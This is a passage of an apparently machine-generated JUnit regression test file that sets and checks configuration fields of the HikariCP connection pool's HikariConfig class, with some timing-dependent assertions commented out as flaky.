java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.leakDetectionThreshold = 0L;
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
int int18 = hikariConfig16.getAcquireIncrement();
java.util.Properties properties19 = hikariConfig16.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties19;
hikariConfig1.setDataSourceClassName("HikariPool-21");
long long23 = hikariConfig1.getConnectionTimeout();
hikariConfig1.isJdbc4connectionTest = false;
hikariConfig1.maxPoolSize = (short) -1;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.setIdleTimeout((long) '#');
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 0 + "'", int18 == 0);
org.junit.Assert.assertNotNull(properties19);
// flaky: org.junit.Assert.assertTrue("'" + long23 + "' != '" + 10L + "'", long23 == 10L);
}
@Test
public void test19012() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19012");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
java.lang.String str11 = hikariConfig1.getPoolName();
hikariConfig1.isRegisterMbeans = true;
int int14 = hikariConfig1.minPoolSize;
long long15 = hikariConfig1.connectionTimeout;
hikariConfig1.setMaximumPoolSize((int) (byte) 100);
javax.sql.DataSource dataSource18 = null;
hikariConfig1.dataSource = dataSource18;
java.lang.String str20 = hikariConfig1.getDataSourceClassName();
java.lang.String str21 = hikariConfig1.getCatalog();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-50582" + "'", str11, "HikariPool-50582");
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 10 + "'", int14 == 10);
// flaky: org.junit.Assert.assertTrue("'" + long15 + "' != '" + 10L + "'", long15 == 10L);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertNull(str21);
}
@Test
public void test19013() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19013");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
boolean boolean4 = hikariConfig1.isInitializationFailFast;
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) "HikariPool-6");
hikariConfig1.setMaxLifetime(10L);
long long10 = hikariConfig1.connectionTimeout;
long long11 = hikariConfig1.getAcquireRetryDelay();
boolean boolean12 = hikariConfig1.isAutoCommit();
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
javax.sql.DataSource dataSource15 = null;
hikariConfig1.setDataSource(dataSource15);
java.lang.String str17 = hikariConfig1.connectionCustomizerClassName;
int int18 = hikariConfig1.getAcquireRetries();
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + false + "'", boolean4 == false);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 3 + "'", int18 == 3);
}
@Test
public void test19014() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19014");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setInitializationFailFast(false);
hikariConfig1.setMaximumPoolSize((int) '4');
hikariConfig1.isAutoCommit = false;
hikariConfig1.idleTimeout = 32L;
hikariConfig1.connectionTimeout = 52L;
hikariConfig1.setAutoCommit(true);
}
@Test
public void test19015() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19015");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4connectionTest;
long long5 = hikariConfig1.getIdleTimeout();
java.lang.String str6 = hikariConfig1.getPoolName();
hikariConfig1.setMaximumPoolSize((int) (byte) 10);
hikariConfig1.setConnectionInitSql("HikariPool-1485");
hikariConfig1.maxLifetime = 100L;
hikariConfig1.setMinimumPoolSize((int) (byte) 10);
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 60L + "'", long5 == 60L);
// flaky: org.junit.Assert.assertEquals("'" + str6 + "' != '" + "HikariPool-50585" + "'", str6, "HikariPool-50585");
}
@Test
public void test19016() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19016");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.setCatalog("HikariPool-6");
hikariConfig1.setJdbc4ConnectionTest(false);
boolean boolean15 = hikariConfig1.isRegisterMbeans();
hikariConfig1.connectionCustomizerClassName = "HikariPool-1100";
hikariConfig1.setAutoCommit(false);
hikariConfig1.isInitializationFailFast = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
}
@Test
public void test19017() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19017");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getIdleTimeout();
int int8 = hikariConfig1.maxPoolSize;
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
long long10 = hikariConfig1.getAcquireRetryDelay();
java.lang.String str11 = hikariConfig1.connectionTestQuery;
hikariConfig1.transactionIsolationName = "HikariPool-1275";
long long14 = hikariConfig1.getMaxLifetime();
hikariConfig1.setJdbc4ConnectionTest(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
org.junit.Assert.assertNull(str11);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 35L + "'", long14 == 35L);
}
@Test
public void test19018() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19018");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.idleTimeout = (byte) -1;
javax.sql.DataSource dataSource12 = hikariConfig1.dataSource;
hikariConfig1.setMaxLifetime((long) (short) 0);
int int15 = hikariConfig1.getAcquireRetries();
int int16 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isJdbc4connectionTest = false;
boolean boolean19 = hikariConfig1.isAutoCommit();
java.lang.String str20 = hikariConfig1.getPoolName();
hikariConfig1.setMaximumPoolSize(1);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(dataSource12);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 3 + "'", int15 == 3);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + true + "'", boolean19 == true);
org.junit.Assert.assertEquals("'" + str20 + "' != '" + "hi!" + "'", str20, "hi!");
}
@Test
public void test19019() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19019");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
long long6 = hikariConfig1.connectionTimeout;
boolean boolean7 = hikariConfig1.isAutoCommit;
long long8 = hikariConfig1.getIdleTimeout();
hikariConfig1.poolName = "HikariPool-395";
hikariConfig1.setPoolName("HikariPool-17");
int int13 = hikariConfig1.getAcquireIncrement();
hikariConfig1.setIdleTimeout((long) 100);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 10L + "'", long6 == 10L);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 60L + "'", long8 == 60L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 0 + "'", int13 == 0);
}
@Test
public void test19020() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19020");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
int int7 = hikariConfig1.getAcquireRetries();
long long8 = hikariConfig1.getConnectionTimeout();
long long9 = hikariConfig1.idleTimeout;
long long10 = hikariConfig1.connectionTimeout;
int int11 = hikariConfig1.getMinimumPoolSize();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 10L + "'", long8 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 60L + "'", long9 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 10 + "'", int11 == 10);
}
@Test
public void test19021() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19021");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
hikariConfig1.setDataSourceClassName("HikariPool-517");
hikariConfig1.transactionIsolation = (-1);
int int15 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.setRegisterMbeans(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
}
@Test
public void test19022() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19022");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
java.lang.String str6 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setConnectionTestQuery("hi!");
java.lang.String str9 = hikariConfig1.getCatalog();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.isRegisterMbeans = true;
hikariConfig1.acquireRetries = (short) 1;
hikariConfig1.transactionIsolation = '4';
java.lang.Class<?> wildcardClass19 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNotNull(wildcardClass19);
}
@Test
public void test19023() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19023");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
javax.sql.DataSource dataSource3 = hikariConfig1.dataSource;
boolean boolean4 = hikariConfig1.isAutoCommit();
java.lang.String str5 = hikariConfig1.connectionTestQuery;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(dataSource3);
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertNull(str5);
}
@Test
public void test19024() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19024");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.poolName;
hikariConfig0.setMinimumPoolSize((int) '4');
hikariConfig0.minPoolSize = (byte) 0;
hikariConfig0.transactionIsolation = (short) 100;
hikariConfig0.setConnectionTestQuery("HikariPool-9222");
long long10 = hikariConfig0.getConnectionTimeout();
hikariConfig0.setMaxLifetime((long) 1);
int int13 = hikariConfig0.minPoolSize;
// flaky: org.junit.Assert.assertEquals("'" + str1 + "' != '" + "HikariPool-50596" + "'", str1, "HikariPool-50596");
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 0 + "'", int13 == 0);
}
@Test
public void test19025() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19025");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.leakDetectionThreshold = 0L;
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
int int18 = hikariConfig16.getAcquireIncrement();
java.util.Properties properties19 = hikariConfig16.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties19;
hikariConfig1.transactionIsolation = '#';
hikariConfig1.setPoolName("HikariPool-1258");
java.lang.String str25 = hikariConfig1.dataSourceClassName;
java.lang.String str26 = hikariConfig1.getPoolName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 0 + "'", int18 == 0);
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertEquals("'" + str26 + "' != '" + "HikariPool-1258" + "'", str26, "HikariPool-1258");
}
@Test
public void test19026() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19026");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
hikariConfig1.transactionIsolationName = "";
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.acquireRetries = (-1);
int int13 = hikariConfig1.acquireRetries;
java.lang.String str14 = hikariConfig1.getDataSourceClassName();
hikariConfig1.idleTimeout = ' ';
hikariConfig1.setJdbc4ConnectionTest(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str14);
}
@Test
public void test19027() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19027");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
int int4 = hikariConfig1.getAcquireRetries();
hikariConfig1.setConnectionCustomizerClassName("HikariPool-90");
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
long long8 = hikariConfig1.maxLifetime;
hikariConfig1.catalog = "HikariPool-42231";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer11;
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 3 + "'", int4 == 3);
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 35L + "'", long8 == 35L);
}
@Test
public void test19028() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19028");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setPoolName("HikariPool-470");
hikariConfig1.setConnectionTestQuery("HikariPool-260");
hikariConfig1.connectionCustomizerClassName = "HikariPool-370";
hikariConfig1.idleTimeout = 100L;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
}
@Test
public void test19029() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19029");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.poolName;
hikariConfig0.setMinimumPoolSize((int) '4');
hikariConfig0.minPoolSize = (byte) 0;
long long6 = hikariConfig0.connectionTimeout;
hikariConfig0.setMaxLifetime(97L);
boolean boolean9 = hikariConfig0.isRegisterMbeans();
hikariConfig0.setMaximumPoolSize(97);
int int12 = hikariConfig0.getAcquireIncrement();
long long13 = hikariConfig0.idleTimeout;
// flaky: org.junit.Assert.assertEquals("'" + str1 + "' != '" + "HikariPool-50602" + "'", str1, "HikariPool-50602");
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 10L + "'", long6 == 10L);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 0 + "'", int12 == 0);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 60L + "'", long13 == 60L);
}
@Test
public void test19030() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19030");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionInitSql("");
hikariConfig1.setRegisterMbeans(true);
long long11 = hikariConfig1.leakDetectionThreshold;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig();
hikariConfig13.setDataSourceClassName("");
hikariConfig13.validate();
long long17 = hikariConfig13.getLeakDetectionThreshold();
hikariConfig13.setIdleTimeout((long) '4');
java.lang.String str20 = hikariConfig13.connectionCustomizerClassName;
hikariConfig13.idleTimeout = (short) 0;
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) (short) 0);
boolean boolean24 = hikariConfig1.isInitializationFailFast();
boolean boolean25 = hikariConfig1.isAutoCommit();
javax.sql.DataSource dataSource26 = hikariConfig1.getDataSource();
hikariConfig1.setTransactionIsolation("");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertTrue("'" + boolean25 + "' != '" + true + "'", boolean25 == true);
org.junit.Assert.assertNull(dataSource26);
}
@Test
public void test19031() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19031");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
long long10 = hikariConfig1.getConnectionTimeout();
javax.sql.DataSource dataSource11 = null;
hikariConfig1.dataSource = dataSource11;
hikariConfig1.setAutoCommit(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
}
@Test
public void test19032() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19032");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
java.lang.String str10 = hikariConfig1.getConnectionCustomizerClassName();
javax.sql.DataSource dataSource11 = hikariConfig1.getDataSource();
javax.sql.DataSource dataSource12 = null;
hikariConfig1.dataSource = dataSource12;
hikariConfig1.setMinimumPoolSize((int) ' ');
java.lang.String str16 = hikariConfig1.getConnectionTestQuery();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(dataSource11);
org.junit.Assert.assertNull(str16);
}
@Test
public void test19033() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19033");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
long long13 = hikariConfig1.getConnectionTimeout();
java.lang.String str14 = hikariConfig1.poolName;
boolean boolean15 = hikariConfig1.isJdbc4ConnectionTest();
boolean boolean16 = hikariConfig1.isAutoCommit;
java.util.Properties properties17 = null;
com.zaxxer.hikari.HikariConfig hikariConfig18 = new com.zaxxer.hikari.HikariConfig(properties17);
int int19 = hikariConfig18.getTransactionIsolation();
hikariConfig18.setRegisterMbeans(false);
java.lang.String str22 = hikariConfig18.transactionIsolationName;
int int23 = hikariConfig18.getMaximumPoolSize();
long long24 = hikariConfig18.getIdleTimeout();
int int25 = hikariConfig18.maxPoolSize;
java.lang.String str26 = hikariConfig18.dataSourceClassName;
int int27 = hikariConfig18.acquireRetries;
hikariConfig18.poolName = "HikariPool-614";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer30 = null;
hikariConfig18.connectionCustomizer = iConnectionCustomizer30;
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
hikariConfig33.leakDetectionThreshold = 100;
hikariConfig33.setRegisterMbeans(false);
hikariConfig33.setConnectionTestQuery("");
hikariConfig33.maxPoolSize = 0;
hikariConfig33.setConnectionTestQuery("HikariPool-105");
java.util.Properties properties44 = null;
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties44);
boolean boolean46 = hikariConfig45.isAutoCommit;
int int47 = hikariConfig45.getAcquireIncrement();
java.util.Properties properties48 = hikariConfig45.dataSourceProperties;
hikariConfig33.setDataSourceProperties(properties48);
java.util.Properties properties50 = null;
com.zaxxer.hikari.HikariConfig hikariConfig51 = new com.zaxxer.hikari.HikariConfig(properties50);
boolean boolean52 = hikariConfig51.isAutoCommit;
hikariConfig51.poolName = "hi!";
java.lang.String str55 = hikariConfig51.dataSourceClassName;
hikariConfig51.acquireRetries = (short) 10;
java.util.Properties properties58 = hikariConfig51.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig59 = new com.zaxxer.hikari.HikariConfig(properties58);
hikariConfig33.setDataSourceProperties(properties58);
com.zaxxer.hikari.HikariConfig hikariConfig61 = new com.zaxxer.hikari.HikariConfig(properties58);
hikariConfig18.setDataSourceProperties(properties58);
com.zaxxer.hikari.HikariConfig hikariConfig63 = new com.zaxxer.hikari.HikariConfig(properties58);
hikariConfig1.dataSourceProperties = properties58;
